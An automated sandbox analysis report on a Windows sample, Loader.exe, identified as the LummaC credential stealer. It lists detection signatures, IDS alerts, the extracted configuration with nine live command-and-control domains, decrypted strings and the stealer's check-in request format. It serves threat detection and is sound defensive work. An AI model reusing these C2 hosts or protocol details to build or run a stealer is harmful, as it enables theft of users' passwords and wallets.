Edit tour

Windows Analysis Report
Loader.exe

Overview

General Information

Sample name:	Loader.exe
Analysis ID:	1569999
MD5:	eb604e2a70243acb885fe5a944a647c3
SHA1:	4f115acfa7662547b877c75a6845297d49713621
SHA256:	573c1ce9085c71b0a2e2ee2c96fe3b47d3f941bf5e23e3f46289135eaa153d26
Tags:	exeuser-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Loader.exe (PID: 3960 cmdline: "C:\Users\user\Desktop\Loader.exe" MD5: EB604E2A70243ACB885FE5A944A647C3)

WerFault.exe (PID: 2184 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3960 -s 1672 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["dare-curbys.biz", "print-vexer.biz", "brendon-sharjen.biz", "covery-mover.biz", "dwell-exclaim.biz", "se-blurry.biz", "impend-differ.biz", "formy-spill.biz", "zinc-sneark.biz"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1620822901.0000000003239000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2090628680.0000000000A59000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1318:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.1480118554.0000000003236000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Loader.exe PID: 3960	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Loader.exe PID: 3960	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Loader.exe PID: 3960	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T13:59:20.362405+0100	2028371	3	Unknown Traffic	192.168.2.7	49700	172.67.130.33	443	TCP
2024-12-06T13:59:25.877037+0100	2028371	3	Unknown Traffic	192.168.2.7	49719	172.67.130.33	443	TCP
2024-12-06T13:59:30.886186+0100	2028371	3	Unknown Traffic	192.168.2.7	49731	172.67.130.33	443	TCP
2024-12-06T13:59:36.131822+0100	2028371	3	Unknown Traffic	192.168.2.7	49747	172.67.130.33	443	TCP
2024-12-06T13:59:40.744663+0100	2028371	3	Unknown Traffic	192.168.2.7	49758	172.67.130.33	443	TCP
2024-12-06T13:59:44.944286+0100	2028371	3	Unknown Traffic	192.168.2.7	49769	172.67.130.33	443	TCP
2024-12-06T13:59:49.466915+0100	2028371	3	Unknown Traffic	192.168.2.7	49780	172.67.130.33	443	TCP
2024-12-06T13:59:54.447187+0100	2028371	3	Unknown Traffic	192.168.2.7	49791	172.67.130.33	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T13:59:24.445755+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49700	172.67.130.33	443	TCP
2024-12-06T13:59:29.378383+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49719	172.67.130.33	443	TCP
2024-12-06T13:59:57.762110+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49791	172.67.130.33	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T13:59:24.445755+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49700	172.67.130.33	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T13:59:29.378383+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49719	172.67.130.33	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T13:59:20.362405+0100	2058040	1	Domain Observed Used for C2 Detected	192.168.2.7	49700	172.67.130.33	443	TCP
2024-12-06T13:59:25.877037+0100	2058040	1	Domain Observed Used for C2 Detected	192.168.2.7	49719	172.67.130.33	443	TCP
2024-12-06T13:59:30.886186+0100	2058040	1	Domain Observed Used for C2 Detected	192.168.2.7	49731	172.67.130.33	443	TCP
2024-12-06T13:59:36.131822+0100	2058040	1	Domain Observed Used for C2 Detected	192.168.2.7	49747	172.67.130.33	443	TCP
2024-12-06T13:59:40.744663+0100	2058040	1	Domain Observed Used for C2 Detected	192.168.2.7	49758	172.67.130.33	443	TCP
2024-12-06T13:59:44.944286+0100	2058040	1	Domain Observed Used for C2 Detected	192.168.2.7	49769	172.67.130.33	443	TCP
2024-12-06T13:59:49.466915+0100	2058040	1	Domain Observed Used for C2 Detected	192.168.2.7	49780	172.67.130.33	443	TCP
2024-12-06T13:59:54.447187+0100	2058040	1	Domain Observed Used for C2 Detected	192.168.2.7	49791	172.67.130.33	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (brendon-sharjen .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T13:59:18.799317+0100	2058039	1	Domain Observed Used for C2 Detected	192.168.2.7	62885	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T13:59:34.824473+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49731	172.67.130.33	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://brendon-sharjen.biz/X	Avira URL Cloud: Label: malware
Source: https://brendon-sharjen.biz/pi	Avira URL Cloud: Label: malware
Source: https://brendon-sharjen.biz/piA	Avira URL Cloud: Label: malware
Source: https://brendon-sharjen.biz/apiN	Avira URL Cloud: Label: malware
Source: https://brendon-sharjen.biz/ob	Avira URL Cloud: Label: malware
Source: https://brendon-sharjen.biz:443/api	Avira URL Cloud: Label: malware
Source: https://brendon-sharjen.biz/api	Avira URL Cloud: Label: malware
Source: https://brendon-sharjen.biz/	Avira URL Cloud: Label: malware
Source: https://brendon-sharjen.biz/(waS	Avira URL Cloud: Label: malware
Source: brendon-sharjen.biz	Avira URL Cloud: Label: malware
Source: https://brendon-sharjen.biz/apiMk	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.3.Loader.exe.24e0000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["dare-curbys.biz", "print-vexer.biz", "brendon-sharjen.biz", "covery-mover.biz", "dwell-exclaim.biz", "se-blurry.biz", "impend-differ.biz", "formy-spill.biz", "zinc-sneark.biz"]}

Multi AV Scanner detection for submitted file

Source: Loader.exe

ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Loader.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: impend-differ.biz
Source: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: print-vexer.biz
Source: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dare-curbys.biz
Source: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: covery-mover.biz
Source: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: formy-spill.biz
Source: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dwell-exclaim.biz
Source: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: zinc-sneark.biz
Source: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: se-blurry.biz
Source: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: brendon-sharjen.biz
Source: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_004140A0 CryptUnprotectData,

0_2_004140A0

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\Loader.exe

Unpacked PE file: 0.2.Loader.exe.400000.0.unpack

Source: Loader.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Loader.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.130.33:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.130.33:443 -> 192.168.2.7:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.130.33:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.130.33:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.130.33:443 -> 192.168.2.7:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.130.33:443 -> 192.168.2.7:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.130.33:443 -> 192.168.2.7:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.130.33:443 -> 192.168.2.7:49791 version: TLS 1.2

Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edi, byte ptr [esi+ecx+0000009Ch]	0_2_00428819
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], B430E561h	0_2_004140A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp ecx	0_2_00435120
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp byte ptr [eax+esi+01h], 00000000h	0_2_004329A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp byte ptr [eax+esi+01h], 00000000h	0_2_004329A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then lea edx, dword ptr [ecx+eax]	0_2_00423260
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	0_2_00427F1F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_00407870
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_00407870
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, dword ptr [004435BCh]	0_2_004167D2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+5F96BE0Ah]	0_2_0040C039
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	0_2_0041C8C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esi+eax-5B00A83Fh]	0_2_00427906
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esi+eax-5B00A83Fh]	0_2_00427912
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esi+eax-5B00A83Fh]	0_2_004278D8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp eax	0_2_0040A189
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edi, ecx	0_2_0041B250
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_0042F340
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	0_2_00425B60
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [ebx], ax	0_2_0041AB10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	0_2_00427320
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], B430E561h	0_2_004333D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	0_2_0040D3BD
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], B430E561h	0_2_00413C40
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+3Ch]	0_2_00418C30
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+33h]	0_2_004234E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], B430E561h	0_2_00425CF2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebx, eax	0_2_00405C80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebp, eax	0_2_00405C80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [esi], dx	0_2_00415550
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	0_2_00415550
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00415550
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then not eax	0_2_00416570
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-20161DE6h]	0_2_00415D37
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], A99F3325h	0_2_004355C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_00414DE2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00414DE2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-7Eh]	0_2_00420DEE
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-00001205h]	0_2_00424D90
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_00426650
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [ebp+00h], al	0_2_0041BE70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [edi+ecx]	0_2_0041BE70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+13h]	0_2_00416E23
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], A8F779E4h	0_2_00435630
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov eax, edx	0_2_004096C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_0041AEC8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_0041AEB2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx eax, word ptr [ebp+00h]	0_2_00433728
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [ecx], dl	0_2_00427735
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_00427735
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0041F7C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, dword ptr [004435BCh]	0_2_004167D2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp word ptr [ebp+eax+02h], 0000h	0_2_0041A7F4
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [ebp+00h], cx	0_2_0041A7F4
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	0_2_00427F18
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then add ecx, ebx	0_2_00427F18
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+13h]	0_2_009C708A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [ebp+00h], al	0_2_009CC0D7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [edi+ecx]	0_2_009CC0D7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_009C7028
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-7Eh]	0_2_009D1055
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_009C5049
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_009C5049
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	0_2_009D8186
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_009CB13D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+5F96BE0Ah]	0_2_009BC2A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], B430E561h	0_2_009C421D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], B430E561h	0_2_009D623B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	0_2_009D817F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then add ecx, ebx	0_2_009D817F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp ecx	0_2_009E5387
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp eax	0_2_009BA3F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edi, ecx	0_2_009CB4B7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then lea edx, dword ptr [ecx+eax]	0_2_009D34C7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	0_2_009D7587
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_009DF5A7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], B430E561h	0_2_009C463F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], B430E561h	0_2_009E3637
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	0_2_009BD624
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [esi], dx	0_2_009C57B7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then not eax	0_2_009C67D7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp word ptr [ebp+eax+02h], 0000h	0_2_009CA744
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [ebp+00h], cx	0_2_009CA744
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+33h]	0_2_009D3747
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], A8F779E4h	0_2_009E5897
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_009D68B7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], A99F3325h	0_2_009E5827
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [ecx], dl	0_2_009D799C
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_009D799C
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov eax, edx	0_2_009B9927
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx eax, word ptr [ebp+00h]	0_2_009E3A97
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edi, byte ptr [esi+ecx+0000009Ch]	0_2_009D8A80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_009B7AD7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_009B7AD7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	0_2_009C5AC2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_009C5AC2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, word ptr [edi]	0_2_009C7A18
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, dword ptr [004435BCh]	0_2_009C6A39
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_009CFA27
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000104h]	0_2_009C6BBD

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058039 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (brendon-sharjen .biz) : 192.168.2.7:62885 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058040 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI) : 192.168.2.7:49700 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2058040 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI) : 192.168.2.7:49719 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2058040 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI) : 192.168.2.7:49731 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2058040 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI) : 192.168.2.7:49747 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2058040 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI) : 192.168.2.7:49758 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2058040 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI) : 192.168.2.7:49769 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2058040 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI) : 192.168.2.7:49780 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2058040 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI) : 192.168.2.7:49791 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49731 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49719 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49719 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49700 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49700 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49791 -> 172.67.130.33:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: brendon-sharjen.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49700 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49719 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49731 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49747 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49758 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49769 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49780 -> 172.67.130.33:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49791 -> 172.67.130.33:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: brendon-sharjen.biz
